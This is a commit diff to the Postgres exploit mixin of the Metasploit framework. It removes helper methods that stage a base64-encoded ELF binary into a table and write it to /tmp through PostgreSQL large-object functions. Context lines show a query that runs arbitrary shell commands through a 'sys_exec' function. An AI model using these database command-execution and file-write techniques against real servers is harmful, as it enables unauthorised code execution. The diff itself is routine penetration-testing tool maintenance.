Got rid of methods upload_elf, write_to_disk_elf, as module uses cmd injection payload, rather than binary payload.

lib/msf/core/exploit/postgres.rb

@@ -306,7 +306,7 @@ module Exploit::Remote::Postgres
 		q = "select pg_temp.sys_exec('#{cmd}')"
 		resp = postgres_query(q)
 		if resp[:sql_error]
-			print_error "SQL Bomb #{resp[:sql_error]}"
+			print_error resp[:sql_error]
 			return false
 		end
 		return true
@@ -347,43 +347,6 @@ module Exploit::Remote::Postgres
 		return [tbl,fld,fout,oid]
 	end
 
-	def postgres_upload_binary_file_elf(fname)
-		data = Base64.encode64(fname)
-		tbl,fld = postgres_create_stager_table
-		return false unless data && tbl && fld
-		q = "insert into #{tbl}(#{fld}) values('#{data}')"
-		resp = postgres_query(q)
-		if resp[:sql_error]
-			print_error resp[:sql_error]
-			return false
-		end
-		oid, fout = postgres_write_data_to_disk_elf(tbl,fld)
-		return false unless oid && fout
-		return [tbl,fld,fout,oid]
-	end
-
-
-
-	# Writes b64 data from a table field, decoded, to disk.
-	def postgres_write_data_to_disk_elf(tbl,fld)
-		oid = rand(60000) + 1000
-		fname = "/tmp/" + Rex::Text::rand_text_alpha(8)
-		queries = [
-			"select lo_create(#{oid})",
-			"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
-			"select lo_export(#{oid}, '#{fname}')"
-		]
-		queries.each do |q|
-			resp = postgres_query(q)
-			if resp && resp[:sql_error]
-				print_error "Could not write the library to disk."
-				print_error resp[:sql_error]
-				break
-			end
-		end
-		return oid,fname
-	end
-
 	# Writes b64 data from a table field, decoded, to disk.
 	def postgres_write_data_to_disk_linux(tbl,fld)
 		oid = rand(60000) + 1000